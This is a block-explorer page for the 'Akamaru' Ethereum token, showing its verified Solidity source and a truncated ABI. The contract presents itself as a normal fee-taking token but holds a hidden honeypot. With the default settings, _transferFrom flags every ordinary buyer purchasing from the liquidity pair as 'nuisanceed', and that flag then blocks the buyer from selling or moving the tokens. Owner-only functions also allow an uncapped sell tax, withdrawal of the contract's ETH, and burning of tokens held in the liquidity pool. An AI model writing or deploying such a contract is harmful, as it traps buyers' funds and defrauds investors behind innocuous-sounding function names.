ETH Price: $3,175.35 (+3.48%)

Token

Akamaru ($AKAMARU)
 

Overview

Max Total Supply

1,000,000,000 $AKAMARU

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
4,450,000 $AKAMARU

Value
$0.00
0x8027d66c8f5d5b9050c53ba773cbd5d75e1e416c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Akamaru

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-13
*/

/**
@AkamaruEth
www.akamaru.online
*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.7;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface InterfaceLP {
    function sync() external;
}

contract Akamaru is ERC20, Auth {
    using SafeMath for uint256;

    address WETH;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Akamaru";
    string constant _symbol = "$AKAMARU";
    uint8 constant _decimals = 4;

    uint256 _totalSupply = 1 * 10**9 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply / 200;
    uint256 public _maxWalletToken = _totalSupply / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    bool public vestedSaleLimitsEnabled = true;
    mapping (address => bool) vestedSaleHolders;
    uint256 public _maxVestSellAmount = 160000 * 10**_decimals;

    uint256 public cooldownTimerInterval = 24 hours;
    mapping (address => uint) public cooldownTimer;

    bool public nuisanceMode = true;
    mapping (address => bool) public isnuisanceed;

    bool public notbotMode = false;
    mapping (address => bool) public isnotboted;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 public liquidityFee    = 3;
    uint256 public marketingFee    = 4;
    uint256 public buybackFee      = 1;
    uint256 public teamFee         = 3;
    uint256 public burnFee         = 0;
    uint256 public totalFee        = teamFee + marketingFee + liquidityFee + buybackFee + burnFee;
    uint256 public feeDenominator  = 100;

    uint256 public sellMultiplier  = 100;

    uint256 public percentForLPBurn = 10; //.10% LP burn
    bool public autoBurnEnabled = false;
    uint256 public lastLpBurnTime;
    uint256 public lpBurnFrequency = 15 minutes;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public buybackFeeReceiver;
    address private teamFeeReceiver;
    address public burnFeeReceiver;

    uint256 targetLiquidity = 10;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;
    InterfaceLP public pairContract;

    bool public AkamaruLive = false;
    bool public AKAMARU = true;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        pairContract = InterfaceLP(pair);

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = 0xB1977756aA2eFD29de69fe072a6B337A24c33896;
        buybackFeeReceiver = 0xf7E402b7c0d30217fBA3fD7aEf90A505Ab63e145;
        teamFeeReceiver = 0x807bAf352cfD82e07bD94eFfb1Cf288896B8245E;
        burnFeeReceiver = DEAD; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }
    function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner() {
        _maxTxAmount = (_totalSupply * maxTXPercentage_base10000 ) / 10000;
    }

    function setVestSaleRestrictions(uint256 maxVestSellPercentage_base10000, bool _restricted, uint256 _interval) external onlyOwner() {
        _maxVestSellAmount = (_totalSupply * maxVestSellPercentage_base10000 ) / 10000;
        vestedSaleLimitsEnabled = _restricted;
        cooldownTimerInterval = _interval;
    }

    function manage_Vestseller(address[] calldata addresses, bool status) public onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            vestedSaleHolders[addresses[i]] = status;
        }
    }

    function setVestSaleRestrictions_maxsell(uint256 amount) external authorized {
        _maxVestSellAmount = amount;
    }

    function setTxLimit(uint256 amount) external authorized {
        _maxTxAmount = amount;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(AkamaruLive,"Trading not open yet");
            if(AKAMARU && sender == pair){
                isnuisanceed[recipient] = true;
            }
        }

        // nuisance
        if(nuisanceMode){
            require(!isnuisanceed[sender],"nuisanceed");    
        }

        // cooldown timer, for Vest sellers
        if (vestedSaleHolders[sender]  && vestedSaleLimitsEnabled) {
            require(cooldownTimer[sender] < block.timestamp,"Vest seller time restricted");
            require(amount <= _maxVestSellAmount,"Vest seller have max sell restriction");

            cooldownTimer[sender] = block.timestamp + cooldownTimerInterval;
        }

        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}


        // Checks max transaction limit
        checkTxLimit(sender, amount);

        if(shouldSwapBack()){ swapBack(); }
        else if(!authorizations[sender] && !authorizations[recipient] 
                && !isFeeExempt[sender]
                && recipient == pair
                && autoBurnEnabled
                && block.timestamp >= lastLpBurnTime + lpBurnFrequency){
                autoburn_LP();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair),recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, bool isSell, address receiver) internal returns (uint256) {
        
        uint256 multiplier = isSell ? sellMultiplier : 100;
        if(notbotMode && !isnotboted[receiver] && !isSell){
            multiplier = 700;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(burnTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(burnTokens > 0){
            emit Transfer(sender, burnFeeReceiver, burnTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function Get_A(uint256 amountPercentage) external authorized {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    function Get_T(address tokenAddress, uint256 tokens) public onlyOwner returns (bool) {
     if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function set_sell_multiplier(uint256 _multiplier) external authorized{
        sellMultiplier = _multiplier;        
    }

    // switch Trading
    function tradingStatus(bool _status) public onlyOwner {
        AkamaruLive = _status;
    }

    function tradingStatus_AKAMARU(bool _status) public onlyOwner {
         AKAMARU = _status;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHteam = amountETH.mul(teamFee).div(totalETHFee);
        uint256 amountETHBuyback = amountETH.mul(buybackFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing}("");
        (tmpSuccess,) = payable(buybackFeeReceiver).call{value: amountETHBuyback}("");
        (tmpSuccess,) = payable(teamFeeReceiver).call{value: amountETHteam}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function enable_nuisance(bool _status) public onlyOwner {
        nuisanceMode = _status;
    }

    function enable_notbot(bool _status) public onlyOwner {
        notbotMode = _status;

    }

    function manage_nuisance(address[] calldata addresses, bool status) public authorized {
        for (uint256 i; i < addresses.length; ++i) {
            isnuisanceed[addresses[i]] = status;
        }
    }

    function manage_notbot(address[] calldata addresses, bool status) public onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            isnotboted[addresses[i]] = status;
        }
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }

    function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _buybackFee, uint256 _burnFee, uint256 _feeDenominator) external authorized {
        liquidityFee = _liquidityFee;
        teamFee = _teamFee;
        marketingFee = _marketingFee;
        buybackFee = _buybackFee;
        burnFee = _burnFee;
        totalFee = _liquidityFee.add(_teamFee).add(_marketingFee).add(_buybackFee).add(_burnFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/2, "Fees cannot be more than 50%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _buybackFeeReceiver, address _burnFeeReceiver, address _teamFeeReceiver) external authorized {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        buybackFeeReceiver = _buybackFeeReceiver;
        burnFeeReceiver = _burnFeeReceiver;
        teamFeeReceiver = _teamFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }


/* Airdrop Begins */
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

    require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
    require(addresses.length == tokens.length,"Mismatch between Address and token count");

    uint256 SCCC = 0;

    for(uint i=0; i < addresses.length; i++){
        SCCC = SCCC + tokens[i];
    }

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens[i]);
    }
}
function autoburn_config(uint256 _freq, uint256 _percent, bool _enabled) external onlyOwner {
    require(_percent < 1000,"max value for autoburn is 10%");
    
    lpBurnFrequency = _freq;
    percentForLPBurn = _percent;
    autoBurnEnabled = _enabled;
}

function burn_and_moon(uint256 percent_base10000) public onlyOwner returns (bool){
        require(percent_base10000 <= 1000, "May not nuke more than 10% of tokens in LP");
    
        uint256 lp_tokens = this.balanceOf(pair);
        uint256 lp_burn = lp_tokens.mul(percent_base10000).div(10000);
        
        if (lp_burn > 0){
            _basicTransfer(pair,DEAD,lp_burn);
            pairContract.sync();
            return true;
        }
        
        return false;
    }

function autoburn_LP() internal {
    bool status = burn_and_moon(percentForLPBurn);
    if(status) {
        lastLpBurnTime = block.timestamp;
    }

}

event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AKAMARU","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AkamaruLive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"Get_A","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Get_T","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxVestSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_freq","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"autoburn_config","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_base10000","type":"uint256"}],"name":"burn_and_moon","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buybackFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buybackFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"cooldownTimer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_notbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_nuisance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isnotboted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isnuisanceed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_Vestseller","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_notbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_nuisance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"notbotMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nuisanceMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairContract","outputs":[{"internalType":"contract InterfaceLP","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_buybackFeeReceiver","type":"address"},{"internalType":"address","name":"_burnFeeReceiver","type":"address"},{"internalType":"address","name":"_teamFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_teamFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_buybackFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base10000","type":"uint256"}],"name":"setMaxTxPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWalletPercent_base10000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxVestSellPercentage_base10000","type":"uint256"},{"internalType":"bool","name":"_restricted","type":"bool"},{"internalType":"uint256","name":"_interval","type":"uint256"}],"name":"setVestSaleRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setVestSaleRestrictions_maxsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"teamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"tradingStatus_AKAMARU","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type